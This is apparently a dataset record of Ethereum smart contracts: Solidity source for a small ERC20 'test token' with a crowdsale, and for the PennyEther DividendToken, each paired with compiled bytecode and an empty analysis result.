require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/*
全称test token 缩写test
总量1000枚
*/
contract test is StandardToken, Ownable {
// Constants
string public constant name = "test token";
string public constant symbol = "TEST";
uint8 public constant decimals = 2;
uint256 public constant INITIAL_SUPPLY = 1000 * (10 ** uint256(decimals));
uint public amountRaised;
uint256 public buyPrice = 50000;
bool public crowdsaleClosed;
function test() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
Transfer(_from, _to, _value);
}
function setPrices(bool closebuy, uint256 newBuyPrice) onlyOwner public {
crowdsaleClosed = closebuy;
buyPrice = newBuyPrice;
}
function () external payable {
require(!crowdsaleClosed);
uint amount = msg.value ; // calculates the amount
amountRaised = amountRaised.add(amount);
_transfer(owner, msg.sender, amount.mul(buyPrice));
}
//取回eth, 参数设为0 则全部取回, 否则取回指定数量的eth
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
/* Batch token transfer. Used by contract creator to distribute initial tokens to holders */
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner public returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
return true;
}
}
|
0x606060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610192578063095ea7b31461022057806318160ddd1461027a57806323b872dd146102a35780632ff2e9dc1461031c578063313ce567146103455780635f56b6fe14610374578063661884631461039757806370a08231146103f15780637b3e5e7b1461043e5780638620410b1461046757806388d695b2146104905780638da5cb5b1461054257806395d89b4114610597578063a9059cbb14610625578063ccb07cef1461067f578063d6bc1b39146106ac578063d73dd623146106da578063dd62ed3e14610734578063f2fde38b146107a0575b6000600660009054906101000a900460ff1615151561013057600080fd5b349050610148816004546107d990919063ffffffff16565b60048190555061018f600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163361018a600554856107f790919063ffffffff16565b610832565b50005b341561019d57600080fd5b6101a5610a9b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e55780820151818401526020810190506101ca565b50505050905090810190601f1680156102125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022b57600080fd5b610260600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ad4565b604051808215151515815260200191505060405180910390f35b341561028557600080fd5b61028d610bc6565b6040518082815260200191505060405180910390f35b34156102ae57600080fd5b610302600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd0565b604051808215151515815260200191505060405180910390f35b341561032757600080fd5b61032f610f8a565b6040518082815260200191505060405180910390f35b341561035057600080fd5b610358610f99565b604051808260ff1660ff16815260200191505060405180910390f35b341561037f57600080fd5b6103956004808035906020019091905050610f9e565b005b34156103a257600080fd5b6103d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110e7565b604051808215151515815260200191505060405180910390f35b34156103fc57600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611378565b6040518082815260200191505060405180910390f35b341561044957600080fd5b6104516113c0565b6040518082815260200191505060405180910390f35b341561047257600080fd5b61047a6113c6565b6040518082815260200191505060405180910390f35b341561049b57600080fd5b610528600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506113cc565b604051808215151515815260200191505060405180910390f35b341561054d57600080fd5b610555611709565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105a257600080fd5b6105aa61172f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ea5780820151818401526020810190506105cf565b50505050905090810190601f1680156106175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561063057600080fd5b610665600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611768565b604051808215151515815260200191505060405180910390f35b341561068a57600080fd5b610692611987565b604051808215151515815260200191505060405180910390f35b34156106b757600080fd5b6106d86004808035151590602001909190803590602001909190505061199a565b005b34156106e557600080fd5b61071a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611a1b565b604051808215151515815260200191505060405180910390f35b341561073f57600080fd5b61078a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c17565b6040518082815260200191505060405180910390f35b34156107ab57600080fd5b6107d7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c9e565b005b60008082840190508381101515156107ed57fe5b8091505092915050565b600080600084141561080c576000915061082b565b828402905082848281151561081d57fe5b0414151561082757fe5b8091505b5092915050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561087f57600080fd5b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561090b57600080fd5b61095c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ef816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6040805190810160405280600a81526020017f7465737420746f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c0d57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c5a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ce557600080fd5b610d36826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260ff16600a0a6103e80281565b600281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ffa57600080fd5b600081141561108157600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561107c57600080fd5b6110e4565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156110e357600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156111f8576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128c565b61120b8382611df690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60045481565b60055481565b600080600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561142e57600080fd5b60008651118015611440575084518651145b151561144b57600080fd5b60009250600091505b845182101561149657611487858381518110151561146e57fe5b90602001906020020151846107d990919063ffffffff16565b92508180600101925050611454565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114e357600080fd5b600090505b855181101561166957611570858281518110151561150257fe5b90602001906020020151600080898581518110151561151d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d990919063ffffffff16565b600080888481518110151561158157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555085818151811015156115d757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110151561163d57fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506114e8565b6116ba836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f544553540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156117a557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117f257600080fd5b611843826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119f657600080fd5b81600660006101000a81548160ff021916908315150217905550806005819055505050565b6000611aac82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cfa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d3657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611e0457fe5b8183039050929150505600a165627a7a72305820565d9b554ef388c75c4b87c904c123506b420f25d573c9ebc34c8161456b641c0029
|
{"success": true, "error": null, "results": {}}
| 5,133 |
0x6dee36e9f915cab558437f97746998048dcaa700
|
pragma solidity ^0.4.23;
/*
Standard ERC20 Token.
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract ERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Created(uint time);
event Transfer(address indexed from, address indexed to, uint amount);
event Approval(address indexed owner, address indexed spender, uint amount);
event AllowanceUsed(address indexed owner, address indexed spender, uint amount);
constructor(string _name, string _symbol)
public
{
name = _name;
symbol = _symbol;
emit Created(now);
}
function transfer(address _to, uint _value)
public
returns (bool success)
{
return _transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint _value)
public
returns (bool success)
{
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// Attempts to transfer `_value` from `_from` to `_to`
// if `_from` has sufficient allowance for `msg.sender`.
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
address _spender = msg.sender;
require(allowance[_from][_spender] >= _value);
allowance[_from][_spender] -= _value;
emit AllowanceUsed(_from, _spender, _value);
return _transfer(_from, _to, _value);
}
// Transfers balance from `_from` to `_to` if `_to` has sufficient balance.
// Called from transfer() and transferFrom().
function _transfer(address _from, address _to, uint _value)
private
returns (bool success)
{
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
}
interface HasTokenFallback {
function tokenFallback(address _from, uint256 _amount, bytes _data)
external
returns (bool success);
}
contract ERC667 is ERC20 {
constructor(string _name, string _symbol)
public
ERC20(_name, _symbol)
{}
function transferAndCall(address _to, uint _value, bytes _data)
public
returns (bool success)
{
require(super.transfer(_to, _value));
require(HasTokenFallback(_to).tokenFallback(msg.sender, _value, _data));
return true;
}
}
/*********************************************************
******************* DIVIDEND TOKEN ***********************
**********************************************************
UI: https://www.pennyether.com/status/tokens
An ERC20 token that can accept Ether and distribute it
perfectly to all Token Holders relative to each account's
balance at the time the dividend is received.
The Token is owned by the creator, and can be frozen,
minted, and burned by the owner.
Notes:
- Accounts can view or receive dividends owed at any time
- Dividends received are immediately credited to all
current Token Holders and can be redeemed at any time.
- Per above, upon transfers, dividends are not
transferred. They are kept by the original sender, and
not credited to the receiver.
- Uses "pull" instead of "push". Token holders must pull
their own dividends.
Comptroller Permissions:
- mintTokens(account, amt): via comp.fund() and comp.fundCapital()
- burnTokens(account, amt): via comp.burnTokens()
- setFrozen(true): Called before CrowdSale
- setFrozen(false): Called after CrowdSale, if softCap met
*/
contract DividendToken is ERC667
{
// if true, tokens cannot be transferred
bool public isFrozen;
// Comptroller can call .mintTokens() and .burnTokens().
address public comptroller = msg.sender;
modifier onlyComptroller(){ require(msg.sender==comptroller); _; }
// How dividends work:
//
// - A "point" is a fraction of a Wei (1e-32), it's used to reduce rounding errors.
//
// - totalPointsPerToken represents how many points each token is entitled to
// from all the dividends ever received. Each time a new deposit is made, it
// is incremented by the points oweable per token at the time of deposit:
// (depositAmtInWei * POINTS_PER_WEI) / totalSupply
//
// - Each account has a `creditedPoints` and `lastPointsPerToken`
// - lastPointsPerToken:
// The value of totalPointsPerToken the last time `creditedPoints` was changed.
// - creditedPoints:
// How many points have been credited to the user. This is incremented by:
// (`totalPointsPerToken` - `lastPointsPerToken` * balance) via
// `.updateCreditedPoints(account)`. This occurs anytime the balance changes
// (transfer, mint, burn).
//
// - .collectOwedDividends() calls .updateCreditedPoints(account), converts points
// to wei and pays account, then resets creditedPoints[account] to 0.
//
// - "Credit" goes to Nick Johnson for the concept.
//
uint constant POINTS_PER_WEI = 1e32;
uint public dividendsTotal;
uint public dividendsCollected;
uint public totalPointsPerToken;
uint public totalBurned;
mapping (address => uint) public creditedPoints;
mapping (address => uint) public lastPointsPerToken;
// Events
event Frozen(uint time);
event UnFrozen(uint time);
event TokensMinted(uint time, address indexed account, uint amount, uint newTotalSupply);
event TokensBurned(uint time, address indexed account, uint amount, uint newTotalSupply);
event CollectedDividends(uint time, address indexed account, uint amount);
event DividendReceived(uint time, address indexed sender, uint amount);
constructor(string _name, string _symbol)
public
ERC667(_name, _symbol)
{}
// Upon receiving payment, increment lastPointsPerToken.
function ()
payable
public
{
if (msg.value == 0) return;
// POINTS_PER_WEI is 1e32.
// So, no multiplication overflow unless msg.value > 1e45 wei (1e27 ETH)
totalPointsPerToken += (msg.value * POINTS_PER_WEI) / totalSupply;
dividendsTotal += msg.value;
emit DividendReceived(now, msg.sender, msg.value);
}
/*************************************************************/
/******* COMPTROLLER FUNCTIONS *******************************/
/*************************************************************/
// Credits dividends, then mints more tokens.
function mint(address _to, uint _amount)
onlyComptroller
public
{
_updateCreditedPoints(_to);
totalSupply += _amount;
balanceOf[_to] += _amount;
emit TokensMinted(now, _to, _amount, totalSupply);
}
// Credits dividends, burns tokens.
function burn(address _account, uint _amount)
onlyComptroller
public
{
require(balanceOf[_account] >= _amount);
_updateCreditedPoints(_account);
balanceOf[_account] -= _amount;
totalSupply -= _amount;
totalBurned += _amount;
emit TokensBurned(now, _account, _amount, totalSupply);
}
// when set to true, prevents tokens from being transferred
function freeze(bool _isFrozen)
onlyComptroller
public
{
if (isFrozen == _isFrozen) return;
isFrozen = _isFrozen;
if (_isFrozen) emit Frozen(now);
else emit UnFrozen(now);
}
/*************************************************************/
/********** PUBLIC FUNCTIONS *********************************/
/*************************************************************/
// Normal ERC20 transfer, except before transferring
// it credits points for both the sender and receiver.
function transfer(address _to, uint _value)
public
returns (bool success)
{
// ensure tokens are not frozen.
require(!isFrozen);
_updateCreditedPoints(msg.sender);
_updateCreditedPoints(_to);
return ERC20.transfer(_to, _value);
}
// Normal ERC20 transferFrom, except before transferring
// it credits points for both the sender and receiver.
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
require(!isFrozen);
_updateCreditedPoints(_from);
_updateCreditedPoints(_to);
return ERC20.transferFrom(_from, _to, _value);
}
// Normal ERC667 transferAndCall, except before transferring
// it credits points for both the sender and receiver.
function transferAndCall(address _to, uint _value, bytes _data)
public
returns (bool success)
{
require(!isFrozen);
_updateCreditedPoints(msg.sender);
_updateCreditedPoints(_to);
return ERC667.transferAndCall(_to, _value, _data);
}
// Updates creditedPoints, sends all wei to the owner
function collectOwedDividends()
public
returns (uint _amount)
{
// update creditedPoints, store amount, and zero it.
_updateCreditedPoints(msg.sender);
_amount = creditedPoints[msg.sender] / POINTS_PER_WEI;
creditedPoints[msg.sender] = 0;
dividendsCollected += _amount;
emit CollectedDividends(now, msg.sender, _amount);
require(msg.sender.call.value(_amount)());
}
/*************************************************************/
/********** PRIVATE METHODS / VIEWS **************************/
/*************************************************************/
// Credits _account with whatever dividend points they haven't yet been credited.
// This needs to be called before any user's balance changes to ensure their
// "lastPointsPerToken" credits their current balance, and not an altered one.
function _updateCreditedPoints(address _account)
private
{
creditedPoints[_account] += _getUncreditedPoints(_account);
lastPointsPerToken[_account] = totalPointsPerToken;
}
// For a given account, returns how many Wei they haven't yet been credited.
function _getUncreditedPoints(address _account)
private
view
returns (uint _amount)
{
uint _pointsPerToken = totalPointsPerToken - lastPointsPerToken[_account];
// The upper bound on this number is:
// ((1e32 * TOTAL_DIVIDEND_AMT) / totalSupply) * balances[_account]
// Since totalSupply >= balances[_account], this will overflow only if
// TOTAL_DIVIDEND_AMT is around 1e45 wei. Not ever going to happen.
return _pointsPerToken * balanceOf[_account];
}
/*************************************************************/
/********* CONSTANTS *****************************************/
/*************************************************************/
// Returns how many wei a call to .collectOwedDividends() would transfer.
function getOwedDividends(address _account)
public
constant
returns (uint _amount)
{
return (_getUncreditedPoints(_account) + creditedPoints[_account])/POINTS_PER_WEI;
}
}
|
0x6080604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306c0989d81146101bb57806306fdde03146101ee578063095ea7b31461027857806318160ddd146102b057806323b872dd146102c5578063313ce567146102ef57806333eeb1471461031a5780634000aea01461032f57806340c10f19146103985780634d2efe4e146103bc5780635d5b35f3146103d15780635fe3b567146103e657806365c724cd1461041757806370a082311461042c5780638ea390c11461044d57806395d89b411461046e5780639dc29fac14610483578063a9059cbb146104a7578063b53dfd4d146104cb578063b5bf15e5146104ec578063d89135cd14610506578063dd62ed3e1461051b578063fd2994f714610542575b34151561013e576101b9565b6003546d04ee2d6d415b85acef8100000000340281151561015b57fe5b600980549290910490910190556007805434908101909155604080514281526020810192909252805133600160a060020a0316927f591f8a8eec5f816ebad652d603381439aec11229373d0e570181d223970350c092908290030190a25b005b3480156101c757600080fd5b506101dc600160a060020a0360043516610557565b60408051918252519081900360200190f35b3480156101fa57600080fd5b50610203610569565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023d578181015183820152602001610225565b50505050905090810190601f16801561026a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028457600080fd5b5061029c600160a060020a03600435166024356105f7565b604080519115158252519081900360200190f35b3480156102bc57600080fd5b506101dc610661565b3480156102d157600080fd5b5061029c600160a060020a0360043581169060243516604435610667565b3480156102fb57600080fd5b5061030461069f565b6040805160ff9092168252519081900360200190f35b34801561032657600080fd5b5061029c6106a8565b34801561033b57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261029c948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506106b19650505050505050565b3480156103a457600080fd5b506101b9600160a060020a03600435166024356106e1565b3480156103c857600080fd5b506101dc610777565b3480156103dd57600080fd5b506101dc610823565b3480156103f257600080fd5b506103fb610829565b60408051600160a060020a039092168252519081900360200190f35b34801561042357600080fd5b506101dc61083d565b34801561043857600080fd5b506101dc600160a060020a0360043516610843565b34801561045957600080fd5b506101dc600160a060020a0360043516610855565b34801561047a57600080fd5b50610203610898565b34801561048f57600080fd5b506101b9600160a060020a03600435166024356108f2565b3480156104b357600080fd5b5061029c600160a060020a03600435166024356109b5565b3480156104d757600080fd5b506101dc600160a060020a03600435166109eb565b3480156104f857600080fd5b506101b960043515156109fd565b34801561051257600080fd5b506101dc610ab9565b34801561052757600080fd5b506101dc600160a060020a0360043581169060243516610abf565b34801561054e57600080fd5b506101dc610adc565b600b6020526000908152604090205481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ef5780601f106105c4576101008083540402835291602001916105ef565b820191906000526020600020905b8154815290600101906020018083116105d257829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035481565b60065460009060ff161561067a57600080fd5b61068384610ae2565b61068c83610ae2565b610697848484610b1d565b949350505050565b60025460ff1681565b60065460ff1681565b60065460009060ff16156106c457600080fd5b6106cd33610ae2565b6106d684610ae2565b610697848484610bc9565b60065433600160a060020a03908116610100909204161461070157600080fd5b61070a82610ae2565b6003805482018155600160a060020a03831660008181526004602090815260409182902080548601905592548151428152938401859052838201525190917f9c6dd8089f114717d5c17f4d3d9bf6c1991925a49ef90e23b9ba026bf8654b42919081900360600190a25050565b600061078233610ae2565b5033600160a060020a03166000818152600b602090815260408083208054939055600880546d04ee2d6d415b85acef81000000009094049384019055805142815291820183905280519293927fb4bac9a8e5b5e220340ee4c5a61571553b7e51eb70f333fd3ed5a57463cd7b069281900390910190a2604051600160a060020a033316908290600081818185875af192505050151561082057600080fd5b90565b60075481565b6006546101009004600160a060020a031681565b60085481565b60046020526000908152604090205481565b600160a060020a0381166000908152600b602052604081